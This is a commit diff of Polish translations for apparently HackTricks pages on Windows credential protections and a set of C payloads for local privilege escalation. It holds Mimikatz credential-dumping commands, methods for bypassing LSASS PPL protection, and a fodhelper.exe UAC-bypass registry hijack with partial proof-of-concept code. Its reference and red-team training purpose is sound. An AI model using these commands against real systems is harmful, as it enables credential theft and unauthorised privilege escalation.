Translated ['', 'src/windows-hardening/windows-local-privilege-escalatio

This commit is contained in:
Translator 2025-08-26 22:10:46 +00:00
parent 8589c19df7
commit a24e2f1d29
2 changed files with 173 additions and 67 deletions

View File

@ -1,49 +1,105 @@
# Ochrona poświadczeń systemu Windows
# Ochrona poświadczeń Windows
{{#include ../../banners/hacktricks-training.md}}
## WDigest
Protokół [WDigest](<https://technet.microsoft.com/pt-pt/library/cc778868(v=ws.10).aspx?f=255&MSPPError=-2147217396>), wprowadzony z systemem Windows XP, jest zaprojektowany do uwierzytelniania za pomocą protokołu HTTP i jest **włączony domyślnie w systemach Windows XP do Windows 8.0 oraz Windows Server 2003 do Windows Server 2012**. To ustawienie domyślne skutkuje **przechowywaniem haseł w postaci niezaszyfrowanej w LSASS** (Local Security Authority Subsystem Service). Atakujący może użyć Mimikatz do **wyodrębnienia tych poświadczeń**, wykonując:
The [WDigest](<https://technet.microsoft.com/pt-pt/library/cc778868(v=ws.10).aspx?f=255&MSPPError=-2147217396>) protocol, introduced with Windows XP, is designed for authentication via the HTTP Protocol and is **enabled by default on Windows XP through Windows 8.0 and Windows Server 2003 to Windows Server 2012**. This default setting results in **plain-text password storage in LSASS** (Local Security Authority Subsystem Service). An attacker can use Mimikatz to **extract these credentials** by executing:
```bash
sekurlsa::wdigest
```
Aby **wyłączyć lub włączyć tę funkcję**, klucze rejestru _**UseLogonCredential**_ i _**Negotiate**_ w _**HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest**_ muszą być ustawione na "1". Jeśli te klucze są **nieobecne lub ustawione na "0"**, WDigest jest **wyłączony**:
Aby **włączyć lub wyłączyć tę funkcję**, klucze rejestru _**UseLogonCredential**_ i _**Negotiate**_ w _**HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest**_ muszą być ustawione na "1". Jeśli te klucze są **nieobecne lub ustawione na "0"**, WDigest jest **wyłączony**:
```bash
reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential
```
## Ochrona LSA (procesy chronione PP i PPL)
## LSA Protection (PP & PPL protected processes)
**Protected Process (PP)** i **Protected Process Light (PPL)** to **ochrony na poziomie jądra Windows**, zaprojektowane w celu zapobiegania nieautoryzowanemu dostępowi do wrażliwych procesów, takich jak **LSASS**. Wprowadzone w **Windows Vista**, **model PP** został pierwotnie stworzony do egzekwowania **DRM** i pozwalał na ochronę tylko binariów podpisanych **specjalnym certyfikatem medialnym**. Proces oznaczony jako **PP** może być dostępny tylko dla innych procesów, które są **również PP** i mają **równy lub wyższy poziom ochrony**, a nawet wtedy, **tylko z ograniczonymi prawami dostępu**, chyba że jest to wyraźnie dozwolone.
**Protected Process (PP)** i **Protected Process Light (PPL)** to **ochrony na poziomie jądra Windows** zaprojektowane, by uniemożliwić nieautoryzowany dostęp do wrażliwych procesów, takich jak **LSASS**. Wprowadzone w **Windows Vista**, **PP** pierwotnie powstał dla egzekwowania **DRM** i tylko binaria podpisane specjalnym certyfikatem medialnym mogły być chronione. Proces oznaczony jako **PP** może być dostępny jedynie przez inne procesy, które również są **PP** i mają **równy lub wyższy poziom ochrony**, i nawet wtedy **tylko z ograniczonymi prawami dostępu**, chyba że zezwolono inaczej.
**PPL**, wprowadzony w **Windows 8.1**, jest bardziej elastyczną wersją PP. Umożliwia **szersze zastosowania** (np. LSASS, Defender) poprzez wprowadzenie **"poziomów ochrony"** opartych na polu **EKU (Enhanced Key Usage)** cyfrowego podpisu. Poziom ochrony jest przechowywany w polu `EPROCESS.Protection`, które jest strukturą `PS_PROTECTION` z:
- **Typ** (`Protected` lub `ProtectedLight`)
- **Podpisujący** (np. `WinTcb`, `Lsa`, `Antimalware` itp.)
**PPL**, wprowadzony w **Windows 8.1**, to bardziej elastyczna wersja PP. Pozwala na **szersze scenariusze zastosowań** (np. LSASS, Defender) przez wprowadzenie **„poziomów ochrony”** opartych na polu **EKU (Enhanced Key Usage)** w podpisie cyfrowym. Poziom ochrony jest przechowywany w polu `EPROCESS.Protection`, które jest strukturą `PS_PROTECTION` zawierającą:
- **Type** (`Protected` or `ProtectedLight`)
- **Signer** (np. `WinTcb`, `Lsa`, `Antimalware`, itd.)
Ta struktura jest pakowana w jeden bajt i określa **kto może uzyskać dostęp do kogo**:
- **Wyższe wartości podpisujących mogą uzyskiwać dostęp do niższych**
- **PPL nie mogą uzyskiwać dostępu do PP**
- **Niechronione procesy nie mogą uzyskiwać dostępu do żadnego PPL/PP**
Struktura ta jest zapakowana w pojedynczy bajt i determinuje **kto może kogo uzyskać**:
- **Higher signer values can access lower ones**
- **PPLs cant access PPs**
- **Unprotected processes can't access any PPL/PP**
### Co musisz wiedzieć z ofensywnej perspektywy
### What you need to know from an offensive perspective
- Gdy **LSASS działa jako PPL**, próby otwarcia go za pomocą `OpenProcess(PROCESS_VM_READ | QUERY_INFORMATION)` z normalnego kontekstu administratora **kończą się niepowodzeniem z `0x5 (Access Denied)`**, nawet jeśli `SeDebugPrivilege` jest włączone.
- Możesz **sprawdzić poziom ochrony LSASS** za pomocą narzędzi takich jak Process Hacker lub programowo, odczytując wartość `EPROCESS.Protection`.
- LSASS zazwyczaj ma `PsProtectedSignerLsa-Light` (`0x41`), do którego można uzyskać dostęp **tylko przez procesy podpisane wyższym poziomem podpisującego**, takie jak `WinTcb` (`0x61` lub `0x62`).
- PPL to **ograniczenie tylko w przestrzeni użytkownika**; **kod na poziomie jądra może je całkowicie obejść**.
- To, że LSASS jest PPL, **nie zapobiega zrzutom poświadczeń, jeśli możesz wykonać kod powłoki jądra** lub **wykorzystać proces o wysokich uprawnieniach z odpowiednim dostępem**.
- **Ustawienie lub usunięcie PPL** wymaga ponownego uruchomienia lub **ustawień Secure Boot/UEFI**, które mogą utrzymać ustawienie PPL nawet po odwróceniu zmian w rejestrze.
- Gdy **LSASS działa jako PPL**, próby otwarcia go za pomocą `OpenProcess(PROCESS_VM_READ | QUERY_INFORMATION)` z normalnego kontekstu admina **zakończą się niepowodzeniem z `0x5 (Access Denied)`**, nawet jeśli `SeDebugPrivilege` jest włączone.
- Możesz **sprawdzić poziom ochrony LSASS** używając narzędzi takich jak Process Hacker lub programowo czytając wartość `EPROCESS.Protection`.
- LSASS będzie zwykle miał `PsProtectedSignerLsa-Light` (`0x41`), do którego dostęp mają **jedynie procesy podpisane sygnatorem wyższego poziomu**, takim jak `WinTcb` (`0x61` lub `0x62`).
- PPL to **ograniczenie tylko w Userland**; **kod działający w kernelu może je całkowicie obejść**.
- Fakt, że LSASS jest PPL, **nie zapobiega zrzutowi poświadczeń jeśli możesz wykonać kernel shellcode** lub **wykorzystać proces o wysokich uprawnieniach z odpowiednim dostępem**.
- **Ustawienie lub usunięcie PPL** wymaga rebootu lub ustawień **Secure Boot/UEFI**, które mogą utrzymać ustawienie PPL nawet po odwróceniu zmian w rejestrze.
### Create a PPL process at launch (documented API)
Windows udostępnia udokumentowany sposób żądania poziomu Protected Process Light dla procesu potomnego podczas tworzenia, używając rozszerzonej listy atrybutów startup. To nie omija wymagań dotyczących podpisu — docelowy obraz musi być podpisany dla żądanej klasy signera.
Minimalny przebieg w C/C++:
```c
// Request a PPL protection level for the child process at creation time
// Requires Windows 8.1+ and a properly signed image for the selected level
#include <windows.h>
int wmain(int argc, wchar_t **argv) {
STARTUPINFOEXW si = {0};
PROCESS_INFORMATION pi = {0};
si.StartupInfo.cb = sizeof(si);
SIZE_T attrSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);
if (!si.lpAttributeList) return 1;
if (!InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize)) return 1;
DWORD level = PROTECTION_LEVEL_ANTIMALWARE_LIGHT; // or WINDOWS_LIGHT/LSA_LIGHT/WINTCB_LIGHT
if (!UpdateProcThreadAttribute(
si.lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL,
&level, sizeof(level), NULL, NULL)) {
return 1;
}
DWORD flags = EXTENDED_STARTUPINFO_PRESENT;
if (!CreateProcessW(L"C\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE,
flags, NULL, NULL, &si.StartupInfo, &pi)) {
// If the image isn't signed appropriately for the requested level,
// CreateProcess will fail with ERROR_INVALID_IMAGE_HASH (577).
return 1;
}
// cleanup
DeleteProcThreadAttributeList(si.lpAttributeList);
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}
```
Uwagi i ograniczenia:
- Użyj `STARTUPINFOEX` z `InitializeProcThreadAttributeList` i `UpdateProcThreadAttribute(PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL, ...)`, następnie przekaż `EXTENDED_STARTUPINFO_PRESENT` do `CreateProcess*`.
- Wartość ochrony `DWORD` można ustawić na stałe takie jak `PROTECTION_LEVEL_WINTCB_LIGHT`, `PROTECTION_LEVEL_WINDOWS`, `PROTECTION_LEVEL_WINDOWS_LIGHT`, `PROTECTION_LEVEL_ANTIMALWARE_LIGHT`, lub `PROTECTION_LEVEL_LSA_LIGHT`.
- Proces potomny uruchomi się jako PPL tylko jeśli jego obraz jest podpisany dla tej klasy podpisującej; w przeciwnym razie tworzenie procesu zakończy się niepowodzeniem, zwykle z `ERROR_INVALID_IMAGE_HASH (577)` / `STATUS_INVALID_IMAGE_HASH (0xC0000428)`.
- To nie jest bypass — to wspierane API przeznaczone dla odpowiednio podpisanych obrazów. Przydatne do utwardzania narzędzi lub weryfikacji konfiguracji chronionych przez PPL.
Example CLI using a minimal loader:
- Antimalware signer: `CreateProcessAsPPL.exe 3 C:\Tools\agent.exe --svc`
- LSA-light signer: `CreateProcessAsPPL.exe 4 C:\Windows\System32\notepad.exe`
**Opcje obejścia ochrony PPL:**
Jeśli chcesz zrzucić LSASS pomimo PPL, masz 3 główne opcje:
1. **Użyj podpisanego sterownika jądra (np. Mimikatz + mimidrv.sys)**, aby **usunąć flagę ochrony LSASS**:
1. **Użyj podpisanego sterownika jądra (e.g., Mimikatz + mimidrv.sys)** aby **usunąć flagę ochrony LSASS**:
![](../../images/mimidrv.png)
2. **Przynieś własny podatny sterownik (BYOVD)**, aby uruchomić niestandardowy kod jądra i wyłączyć ochronę. Narzędzia takie jak **PPLKiller**, **gdrv-loader** lub **kdmapper** czynią to możliwym.
3. **Skradnij istniejący uchwyt LSASS** z innego procesu, który ma go otwartego (np. proces AV), a następnie **duplikuj go** do swojego procesu. To jest podstawa techniki `pypykatz live lsa --method handledup`.
4. **Wykorzystaj jakiś uprzywilejowany proces**, który pozwoli ci załadować dowolny kod do jego przestrzeni adresowej lub wewnątrz innego uprzywilejowanego procesu, skutecznie omijając ograniczenia PPL. Możesz sprawdzić przykład tego w [bypassing-lsa-protection-in-userland](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/) lub [https://github.com/itm4n/PPLdump](https://github.com/itm4n/PPLdump).
2. **Bring Your Own Vulnerable Driver (BYOVD)** aby uruchomić niestandardowy kod w kernelu i wyłączyć ochronę. Narzędzia takie jak **PPLKiller**, **gdrv-loader**, lub **kdmapper** to umożliwiają.
3. **Ukradnij istniejący uchwyt LSASS** z innego procesu, który ma go otwartego (np. proces AV), następnie **sduplikuj go** w swoim procesie. To jest podstawa techniki `pypykatz live lsa --method handledup`.
4. **Wykorzystaj pewien uprzywilejowany proces**, który pozwoli ci załadować dowolny kod do jego przestrzeni adresowej lub do innego uprzywilejowanego procesu, skutecznie obejmując ograniczenia PPL. Możesz sprawdzić przykład tego w [bypassing-lsa-protection-in-userland](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/) lub [https://github.com/itm4n/PPLdump](https://github.com/itm4n/PPLdump).
**Sprawdź aktualny status ochrony LSA (PPL/PP) dla LSASS**:
```bash
@ -51,68 +107,68 @@ reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL
```
When you running **`mimikatz privilege::debug sekurlsa::logonpasswords`** it'll probably fail with the error code `0x00000005` becasue of this.
- For more information about this check [https://itm4n.github.io/lsass-runasppl/](https://itm4n.github.io/lsass-runasppl/)
- Więcej informacji na temat tej kontroli [https://itm4n.github.io/lsass-runasppl/](https://itm4n.github.io/lsass-runasppl/)
## Credential Guard
**Credential Guard**, funkcja dostępna wyłącznie w **Windows 10 (edycje Enterprise i Education)**, zwiększa bezpieczeństwo poświadczeń maszyny, korzystając z **Virtual Secure Mode (VSM)** i **Virtualization Based Security (VBS)**. Wykorzystuje rozszerzenia wirtualizacji CPU do izolacji kluczowych procesów w chronionej przestrzeni pamięci, z dala od zasięgu głównego systemu operacyjnego. Ta izolacja zapewnia, że nawet jądro nie ma dostępu do pamięci w VSM, skutecznie chroniąc poświadczenia przed atakami takimi jak **pass-the-hash**. **Local Security Authority (LSA)** działa w tym bezpiecznym środowisku jako trustlet, podczas gdy proces **LSASS** w głównym systemie operacyjnym działa jedynie jako komunikator z LSA VSM.
**Credential Guard**, funkcja dostępna wyłącznie w **Windows 10 (wydania Enterprise i Education)**, zwiększa bezpieczeństwo poświadczeń maszyny, wykorzystując **Virtual Secure Mode (VSM)** i **Virtualization Based Security (VBS)**. Wykorzystuje rozszerzenia wirtualizacji CPU do izolowania kluczowych procesów w chronionej przestrzeni pamięciowej, poza zasięgiem głównego systemu operacyjnego. Ta izolacja sprawia, że nawet kernel nie ma dostępu do pamięci w VSM, skutecznie chroniąc poświadczenia przed atakami takimi jak **pass-the-hash**. **Local Security Authority (LSA)** działa w tym bezpiecznym środowisku jako trustlet, podczas gdy proces **LSASS** w głównym systemie pełni jedynie rolę komunikatora z LSA w VSM.
Domyślnie **Credential Guard** nie jest aktywowany i wymaga ręcznej aktywacji w organizacji. Jest to kluczowe dla zwiększenia bezpieczeństwa przed narzędziami takimi jak **Mimikatz**, które mają ograniczone możliwości wydobywania poświadczeń. Jednakże, luki mogą być nadal wykorzystywane poprzez dodanie niestandardowych **Security Support Providers (SSP)** do przechwytywania poświadczeń w postaci czystego tekstu podczas prób logowania.
Domyślnie **Credential Guard** nie jest aktywny i wymaga ręcznej aktywacji w organizacji. Ma to duże znaczenie dla zwiększenia ochrony przed narzędziami takimi jak **Mimikatz**, które mają utrudnioną możliwość wyciągania poświadczeń. Niemniej jednak luki mogą być nadal wykorzystywane poprzez dodanie niestandardowych **Security Support Providers (SSP)** do przechwytywania poświadczeń w postaci jawnej podczas prób logowania.
Aby zweryfikować status aktywacji **Credential Guard**, można sprawdzić klucz rejestru _**LsaCfgFlags**_ w _**HKLM\System\CurrentControlSet\Control\LSA**_. Wartość "**1**" oznacza aktywację z **UEFI lock**, "**2**" bez blokady, a "**0**" oznacza, że nie jest włączona. To sprawdzenie rejestru, chociaż jest silnym wskaźnikiem, nie jest jedynym krokiem do włączenia Credential Guard. Szczegółowe wskazówki oraz skrypt PowerShell do włączenia tej funkcji są dostępne online.
Aby sprawdzić stan aktywacji **Credential Guard**, można przejrzeć klucz rejestru _**LsaCfgFlags**_ pod _**HKLM\System\CurrentControlSet\Control\LSA**_. Wartość "**1**" wskazuje aktywację z blokadą **UEFI**, "**2**" bez blokady, a "**0**" oznacza, że nie jest włączona. Ten wpis rejestru, choć jest silnym wskaźnikiem, nie jest jedynym krokiem wymaganym do włączenia Credential Guard. Szczegółowe instrukcje oraz skrypt PowerShell do włączenia tej funkcji są dostępne online.
```bash
reg query HKLM\System\CurrentControlSet\Control\LSA /v LsaCfgFlags
```
Aby uzyskać kompleksowe zrozumienie i instrukcje dotyczące włączania **Credential Guard** w systemie Windows 10 oraz jego automatycznej aktywacji w kompatybilnych systemach **Windows 11 Enterprise i Education (wersja 22H2)**, odwiedź [dokumentację Microsoftu](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage).
Aby uzyskać kompleksowe informacje i instrukcje dotyczące włączenia **Credential Guard** w Windows 10 oraz jego automatycznej aktywacji w zgodnych systemach **Windows 11 Enterprise and Education (version 22H2)**, odwiedź [Microsoft's documentation](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage).
Dalsze szczegóły dotyczące wdrażania niestandardowych SSP do przechwytywania poświadczeń znajdują się w [tym przewodniku](../active-directory-methodology/custom-ssp.md).
Dalsze informacje na temat implementacji custom SSPs do przechwytywania poświadczeń znajdują się w [this guide](../active-directory-methodology/custom-ssp.md).
## Tryb RestrictedAdmin RDP
## Tryb Restricted Admin dla RDP
**Windows 8.1 i Windows Server 2012 R2** wprowadziły kilka nowych funkcji zabezpieczeń, w tym _**tryb Restricted Admin dla RDP**_. Tryb ten został zaprojektowany w celu zwiększenia bezpieczeństwa poprzez ograniczenie ryzyka związanego z [**pass the hash**](https://blog.ahasayen.com/pass-the-hash/) atakami.
**Windows 8.1 and Windows Server 2012 R2** wprowadziły kilka nowych funkcji zabezpieczeń, w tym _**Restricted Admin mode for RDP**_. Ten tryb został zaprojektowany, aby zwiększyć bezpieczeństwo przez zmniejszenie ryzyka związanego z atakami [**pass the hash**](https://blog.ahasayen.com/pass-the-hash/).
Tradycyjnie, podczas łączenia się z zdalnym komputerem za pomocą RDP, twoje poświadczenia są przechowywane na docelowej maszynie. Stanowi to znaczące ryzyko bezpieczeństwa, szczególnie przy użyciu kont z podwyższonymi uprawnieniami. Jednak dzięki wprowadzeniu _**trybu Restricted Admin**_, to ryzyko jest znacznie zredukowane.
Tradycyjnie, podczas łączenia się z zdalnym komputerem przez RDP, Twoje poświadczenia są przechowywane na maszynie docelowej. Stanowi to poważne ryzyko bezpieczeństwa, zwłaszcza przy używaniu kont o podwyższonych uprawnieniach. Jednak wraz z wprowadzeniem _**Restricted Admin mode**_ to ryzyko jest znacznie zredukowane.
Podczas inicjowania połączenia RDP za pomocą polecenia **mstsc.exe /RestrictedAdmin**, uwierzytelnienie do zdalnego komputera odbywa się bez przechowywania twoich poświadczeń na nim. Takie podejście zapewnia, że w przypadku infekcji złośliwym oprogramowaniem lub jeśli złośliwy użytkownik uzyska dostęp do zdalnego serwera, twoje poświadczenia nie zostaną skompromitowane, ponieważ nie są przechowywane na serwerze.
Podczas inicjowania połączenia RDP przy użyciu polecenia **mstsc.exe /RestrictedAdmin**, uwierzytelnianie do komputera zdalnego odbywa się bez przechowywania Twoich poświadczeń na nim. To podejście zapewnia, że w przypadku infekcji malware lub gdy złośliwy użytkownik uzyska dostęp do serwera zdalnego, Twoje poświadczenia nie zostaną ujawnione, ponieważ nie są przechowywane na serwerze.
Ważne jest, aby zauważyć, że w **trybie Restricted Admin**, próby dostępu do zasobów sieciowych z sesji RDP nie będą używać twoich osobistych poświadczeń; zamiast tego używana jest **tożsamość maszyny**.
Warto zauważyć, że w **Restricted Admin mode** próby dostępu do zasobów sieciowych z sesji RDP nie będą używać Twoich osobistych poświadczeń; zamiast tego używana jest **tożsamość maszyny**.
Funkcja ta stanowi znaczący krok naprzód w zabezpieczaniu połączeń pulpitu zdalnego i ochronie wrażliwych informacji przed ujawnieniem w przypadku naruszenia bezpieczeństwa.
Funkcja ta stanowi istotny krok naprzód w zabezpieczaniu połączeń pulpitu zdalnego i ochronie wrażliwych informacji przed ujawnieniem w przypadku naruszenia bezpieczeństwa.
![](../../images/RAM.png)
Aby uzyskać bardziej szczegółowe informacje, odwiedź [ten zasób](https://blog.ahasayen.com/restricted-admin-mode-for-rdp/).
Po więcej szczegółów odwiedź [this resource](https://blog.ahasayen.com/restricted-admin-mode-for-rdp/).
## Pamiętane Poświadczenia
## Buforowane poświadczenia
Windows zabezpiecza **poświadczenia domeny** za pomocą **Local Security Authority (LSA)**, wspierając procesy logowania z protokołami bezpieczeństwa takimi jak **Kerberos** i **NTLM**. Kluczową cechą systemu Windows jest jego zdolność do pamiętania **ostatnich dziesięciu logowań do domeny**, aby zapewnić użytkownikom dostęp do ich komputerów, nawet jeśli **kontroler domeny jest offline**—co jest korzystne dla użytkowników laptopów często poza siecią swojej firmy.
Windows zabezpiecza **domain credentials** za pomocą **Local Security Authority (LSA)**, obsługując procesy logowania protokołami bezpieczeństwa takimi jak **Kerberos** i **NTLM**. Kluczową cechą Windows jest możliwość buforowania **ostatnich dziesięciu logowań w domenie**, co pozwala użytkownikom nadal uzyskiwać dostęp do swoich komputerów, nawet jeśli **kontroler domeny jest niedostępny** — przydatne dla użytkowników laptopów często będących poza siecią firmową.
Liczba pamiętanych logowań jest regulowana za pomocą konkretnego **klucza rejestru lub polityki grupowej**. Aby wyświetlić lub zmienić to ustawienie, używa się następującego polecenia:
Liczbę buforowanych logowań można dostosować za pomocą określonego **klucza rejestru lub zasad grupy**. Aby wyświetlić lub zmienić to ustawienie, użyj następującego polecenia:
```bash
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
```
Dostęp do tych pamiętanych poświadczeń jest ściśle kontrolowany, a jedynie konto **SYSTEM** ma niezbędne uprawnienia do ich przeglądania. Administratorzy, którzy muszą uzyskać dostęp do tych informacji, muszą to zrobić z uprawnieniami użytkownika SYSTEM. Poświadczenia są przechowywane w: `HKEY_LOCAL_MACHINE\SECURITY\Cache`
Dostęp do tych buforowanych danych uwierzytelniających jest ściśle kontrolowany — tylko konto **SYSTEM** ma wymagane uprawnienia do ich przeglądania. Administratorzy, którzy potrzebują dostępu do tych informacji, muszą działać z uprawnieniami użytkownika SYSTEM. Dane uwierzytelniające są przechowywane pod adresem: `HKEY_LOCAL_MACHINE\SECURITY\Cache`
**Mimikatz** może być użyty do wyodrębnienia tych pamiętanych poświadczeń za pomocą polecenia `lsadump::cache`.
**Mimikatz** można użyć do wyodrębnienia tych buforowanych danych uwierzytelniających poleceniem `lsadump::cache`.
Aby uzyskać więcej szczegółów, oryginalne [źródło](http://juggernaut.wikidot.com/cached-credentials) zawiera obszerne informacje.
Szczegółowe informacje znajdują się w oryginalnym [source](http://juggernaut.wikidot.com/cached-credentials).
## Chronieni Użytkownicy
## Protected Users
Członkostwo w grupie **Chronionych Użytkowników** wprowadza kilka ulepszeń bezpieczeństwa dla użytkowników, zapewniając wyższy poziom ochrony przed kradzieżą i nadużywaniem poświadczeń:
Członkostwo w **Protected Users group** wprowadza kilka ulepszeń bezpieczeństwa dla użytkowników, zapewniając wyższy poziom ochrony przed kradzieżą i niewłaściwym użyciem poświadczeń:
- **Delegacja Poświadczeń (CredSSP)**: Nawet jeśli ustawienie zasad grupy dla **Zezwól na delegowanie domyślnych poświadczeń** jest włączone, poświadczenia w postaci czystego tekstu Chronionych Użytkowników nie będą pamiętane.
- **Windows Digest**: Począwszy od **Windows 8.1 i Windows Server 2012 R2**, system nie będzie pamiętał poświadczeń w postaci czystego tekstu Chronionych Użytkowników, niezależnie od statusu Windows Digest.
- **NTLM**: System nie będzie pamiętał poświadczeń w postaci czystego tekstu Chronionych Użytkowników ani funkcji jednokierunkowych NT (NTOWF).
- **Kerberos**: Dla Chronionych Użytkowników, uwierzytelnianie Kerberos nie wygeneruje kluczy **DES** ani **RC4**, ani nie będzie pamiętać poświadczeń w postaci czystego tekstu ani kluczy długoterminowych poza początkowym uzyskaniem biletu Ticket-Granting Ticket (TGT).
- **Logowanie Offline**: Chronieni Użytkownicy nie będą mieli utworzonego pamiętanego weryfikatora podczas logowania lub odblokowywania, co oznacza, że logowanie offline nie jest wspierane dla tych kont.
- **Credential Delegation (CredSSP)**: Nawet jeśli ustawienie Group Policy **Allow delegating default credentials** jest włączone, poświadczenia w postaci tekstu jawnego użytkowników Protected Users nie będą buforowane.
- **Windows Digest**: Począwszy od **Windows 8.1 and Windows Server 2012 R2**, system nie będzie buforował poświadczeń w postaci tekstu jawnego użytkowników Protected Users, niezależnie od stanu Windows Digest.
- **NTLM**: System nie będzie buforował poświadczeń w postaci tekstu jawnego ani jednokierunkowych funkcji NT (NTOWF) użytkowników Protected Users.
- **Kerberos**: Dla użytkowników Protected Users uwierzytelnianie Kerberos nie wygeneruje **DES** ani **RC4 keys**, ani nie będzie buforować poświadczeń w postaci tekstu jawnego czy kluczy długoterminowych poza początkowym uzyskaniem Ticket-Granting Ticket (TGT).
- **Offline Sign-In**: Dla użytkowników Protected Users nie zostanie utworzony buforowany weryfikator podczas logowania lub odblokowywania, co oznacza, że logowanie offline nie jest obsługiwane dla tych kont.
Te zabezpieczenia są aktywowane w momencie, gdy użytkownik, który jest członkiem grupy **Chronionych Użytkowników**, loguje się do urządzenia. Zapewnia to, że krytyczne środki bezpieczeństwa są wprowadzone, aby chronić przed różnymi metodami kompromitacji poświadczeń.
Te zabezpieczenia są aktywowane w momencie, gdy użytkownik będący członkiem **Protected Users group** loguje się na urządzenie. Zapewnia to wdrożenie krytycznych środków bezpieczeństwa chroniących przed różnymi metodami kompromitacji poświadczeń.
Aby uzyskać bardziej szczegółowe informacje, zapoznaj się z oficjalną [dokumentacją](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group).
Szczegółowe informacje znajdziesz w oficjalnej [documentation](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group).
**Tabela z** [**dokumentów**](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory)**.**
**Table from** [**the docs**](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory)**.**
| Windows Server 2003 RTM | Windows Server 2003 SP1+ | <p>Windows Server 2012,<br>Windows Server 2008 R2,<br>Windows Server 2008</p> | Windows Server 2016 |
| ----------------------- | ------------------------ | ----------------------------------------------------------------------------- | ---------------------------- |
@ -133,4 +189,12 @@ Aby uzyskać bardziej szczegółowe informacje, zapoznaj się z oficjalną [doku
| Schema Admins | Schema Admins | Schema Admins | Schema Admins |
| Server Operators | Server Operators | Server Operators | Server Operators |
## Referencje
- [CreateProcessAsPPL minimal PPL process launcher](https://github.com/2x7EQ13/CreateProcessAsPPL)
- [STARTUPINFOEX structure (Win32 API)](https://learn.microsoft.com/en-us/windows/win32/api/winbase/ns-winbase-startupinfoexw)
- [InitializeProcThreadAttributeList (Win32 API)](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-initializeprocthreadattributelist)
- [UpdateProcThreadAttribute (Win32 API)](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-updateprocthreadattribute)
- [LSASS RunAsPPL background and internals](https://itm4n.github.io/lsass-runasppl/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,9 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
Ta strona zbiera **małe, samodzielne fragmenty C**, które są przydatne podczas lokalnego podnoszenia uprawnień w systemie Windows lub po eksploatacji. Każdy ładunek jest zaprojektowany tak, aby był **przyjazny do kopiowania i wklejania**, wymaga tylko API Windows / czasu wykonywania C i może być kompilowany za pomocą `i686-w64-mingw32-gcc` (x86) lub `x86_64-w64-mingw32-gcc` (x64).
Ta strona zawiera **małe, niezależne fragmenty w C**, które są przydatne podczas Windows Local Privilege Escalation lub post-exploitation. Każdy payload jest zaprojektowany tak, aby był **łatwy do skopiowania i wklejenia**, wymaga tylko Windows API / C runtime i może być skompilowany przy użyciu `i686-w64-mingw32-gcc` (x86) lub `x86_64-w64-mingw32-gcc` (x64).
> ⚠️ Te ładunki zakładają, że proces ma już minimalne uprawnienia niezbędne do wykonania akcji (np. `SeDebugPrivilege`, `SeImpersonatePrivilege` lub kontekst średniej integralności dla obejścia UAC). Są przeznaczone do **ustawień red-team lub CTF**, gdzie wykorzystanie luki doprowadziło do wykonania dowolnego kodu natywnego.
> ⚠️ Te payloady zakładają, że proces ma już minimalne uprawnienia niezbędne do wykonania akcji (np. `SeDebugPrivilege`, `SeImpersonatePrivilege` lub kontekst o średniej integralności dla UAC bypass). Są przeznaczone dla **red-team or CTF settings**, gdzie wykorzystanie podatności doprowadziło do dowolnego wykonywania natywnego kodu.
---
@ -21,13 +21,13 @@ return 0;
---
## UAC Bypass `fodhelper.exe` Registry Hijack (Medium → High integrity)
Gdy zaufany plik binarny **`fodhelper.exe`** jest uruchamiany, zapytuje o poniższą ścieżkę rejestru **bez filtrowania czasownika `DelegateExecute`**. Umieszczając nasze polecenie pod tym kluczem, atakujący może obejść UAC *bez* zapisywania pliku na dysku.
Gdy zaufany binarny plik **`fodhelper.exe`** zostanie uruchomiony, odczytuje poniższą ścieżkę rejestru **bez filtrowania parametru `DelegateExecute`**. Poprzez umieszczenie naszego polecenia pod tym kluczem atakujący może obejść UAC *bez* zapisywania pliku na dysku.
*Ścieżka rejestru zapytana przez `fodhelper.exe`*
*Ścieżka rejestru sprawdzana przez `fodhelper.exe`*
```
HKCU\Software\Classes\ms-settings\Shell\Open\command
```
Minimalny PoC, który uruchamia podniesiony `cmd.exe`:
Minimalny PoC, który uruchamia podniesione `cmd.exe`:
```c
// x86_64-w64-mingw32-gcc -municode -s -O2 -o uac_fodhelper.exe uac_fodhelper.c
#define _CRT_SECURE_NO_WARNINGS
@ -61,12 +61,12 @@ system("fodhelper.exe");
return 0;
}
```
*Testowane na Windows 10 22H2 i Windows 11 23H2 (łatki z lipca 2025). Obejście wciąż działa, ponieważ Microsoft nie naprawił brakującego sprawdzenia integralności w ścieżce `DelegateExecute`.*
*Przetestowano na Windows 10 22H2 i Windows 11 23H2 (poprawki z lipca 2025). Omijanie nadal działa, ponieważ Microsoft nie naprawił brakującej kontroli integralności w ścieżce `DelegateExecute`.*
---
